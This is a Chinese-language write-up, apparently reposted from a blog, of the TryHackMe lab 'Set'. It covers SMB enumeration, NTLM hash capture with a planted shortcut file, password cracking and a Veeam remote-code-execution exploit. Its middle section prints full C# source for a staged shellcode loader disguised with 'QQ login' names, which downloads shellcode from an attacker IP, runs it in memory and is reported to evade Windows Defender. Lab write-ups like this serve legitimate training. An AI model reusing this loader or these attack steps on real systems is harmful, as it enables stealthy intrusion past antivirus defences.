TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

Set

您再次发现自己在Windcorp公司的内部网络上。上次你去那里的味道真好,你回来了 了解更多。

但是,这次他们设法保护了域控制器,因此您需要找到另一台服务器,并在第一次扫描时发现“Set”。

Set被用作开发人员的平台,最近遇到了一些问题。他们不得不重置很多用户并恢复备份(也许您不是他们网络上唯一的黑客?因此,他们决定确保所有用户都使用正确的密码并关闭一些松散的策略。 你还能找到进去的路吗?某些用户是否比其他用户更有特权?还是更草率的?也许您需要跳出框框思考一下,以规避他们的新安全控制…


端口扫描

循例nmap

在这里插入图片描述

有两个子域,加进hosts

Web枚举

进到set子域

在这里插入图片描述

在主页的源代码中的search.js发现了user.xml,里面记录了姓名、电话和邮箱

在这里插入图片描述

在这里插入图片描述

先把xml保存一下,可能会有用

gobuster扫一下

在这里插入图片描述

SMB枚举

appnotes.txt,这意味着可能会有账户的密码会比较薄弱

在这里插入图片描述

提取用户名

在这里插入图片描述

使用username-generator.py生成可能的账户名

在这里插入图片描述

在这里插入图片描述

crackmapexec爆

在这里插入图片描述

按这个速度爆下去,估计没个10天半个月都爆不完,我选择看一眼wp是哪个账户

在这里插入图片描述

在这里插入图片描述

smbmap看一眼

在这里插入图片描述

用smbclient连接,获得info.txt

在这里插入图片描述

flag1和一些信息

在这里插入图片描述

立足 - SMB-NTLM回传

它会自动读取我们上传的zip文件,并查看里面的文件

我们都知道windows可以直接通过\\ip\share来远程访问文件, 在thm中我们已经用过很多次了

如果它要是带着ntlm hash过来,那么我们将可以利用其凭据进行下一步操作

利用mslink创建链接文件,指向攻击机的smb share

在这里插入图片描述

压缩zip然后上传

responder开启监听,获得michellewat的hash

在这里插入图片描述

hashcat直接爆

在这里插入图片描述

看见开了5985端口,直接winrm登进来,同时拿到flag2

在这里插入图片描述

Veeam未授权RCE

netstat发现一个2805端口

在这里插入图片描述

查看进程

在这里插入图片描述

百度了解了下veeam,wmic、get-service、accesschk都用不了

直接暴力枚举

在这里插入图片描述

查看版本

在这里插入图片描述

看一眼nvd

在这里插入图片描述

该版本存在漏洞,现在应该要进行端口转发出来看看

2805端口虽然开在了0.0.0.0,但攻击机无法访问到,我也尝试了frp、chisel、ssh反向连接,应该是因为防火墙或是其他的缘故,连接不到攻击机

使用plink借助ssh来进行ssh反向连接并进行远程端口转发

在这里插入图片描述

攻击机查看,没问题

在这里插入图片描述

msf有exp

在这里插入图片描述

由于WinDefender的存在,我们无法直接使用msf进行getshell

并且还需要对msf的exp进行修改,使用windows/x64/exec执行命令,这样不会被WinDefender察觉

在这里插入图片描述

在这里插入图片描述

免杀 - Bypass WinDefender

现在虽然能够成功执行命令,但这是一次绝佳的免杀练习机会

首先我们选择做一个简单的分阶段的shellcode加载器,基于C#

using System;
using System.Runtime.InteropServices;
using System.Net;

class Program
{
    
    
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    static void Main(string[] args)
    {
    
    
        LoginQQ();
    }

    public static void LoginQQ()
    {
    
    
        string qq_loginURI = "http://10.14.39.48:8000/login_qq_api";
        WebClient webClient = new WebClient();

        byte[] qqLoginState = webClient.DownloadData(qq_loginURI);

        UInt32 QQOpen = VirtualAlloc(0, (UInt32)qqLoginState.Length, 0x1000, 0x40);
        Marshal.Copy(qqLoginState, 0, (IntPtr)(QQOpen), qqLoginState.Length);

        IntPtr QQHandle = IntPtr.Zero;
        UInt32 QQthreadId = 0;
        IntPtr QQparameter = IntPtr.Zero;
        QQHandle = CreateThread(0, 0, QQOpen, QQparameter, 0, ref QQthreadId);

        WaitForSingleObject(QQHandle, 0xFFFFFFFF);
    }
}

我们考虑了熵, 它挺低的,至少满足了thm教程中所说的5.x、6.x

在这里插入图片描述

简单的通过http获取shellcode并利用win32 api写入内存并执行

使用csc编译得到exe

上传到VirusTotal分析一下

在这里插入图片描述

我们编写的“QQ”很幸运,它绕过了大多数AV检测,包括WinDefender

这仅仅只使用了thm教导了一小部分知识,就这么轻松绕过了,或许是得益于分阶段优势的原因吧

在这里插入图片描述

免杀马测试

这么简单的免杀就到此为止,当然,我们并没有考虑运行时的内存检测,但让我们碰碰运气

生成shellcode

在这里插入图片描述

python开启http服务,把steged loader传过去

直接运行loader

在这里插入图片描述

loader会请求所谓的“login_qq_api”,其实这是我们的shellcode

在这里插入图片描述

nc监听的情况,成功getshell,并且没有运行时的内存检测,我们的免杀成功

在这里插入图片描述

权限提升 - 免杀马利用

回到房间正文,我们继续利用veeam的exp来通过我们的免杀马getshell

在这里插入图片描述

nc监听,成功过来one账户

在这里插入图片描述

该账户已经在administrators组中,并且shell是高IL

在这里插入图片描述

拿下最后的flag3

在这里插入图片描述

结束

整个房间或许难点应该在于绕过WinDefender做免杀这,但我有thm教导的知识,很轻松就绕过了

值得纪念的一天,这也是我第一次将thm教导一的小部分的红队免杀知识交付于此

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_54704239/article/details/130215092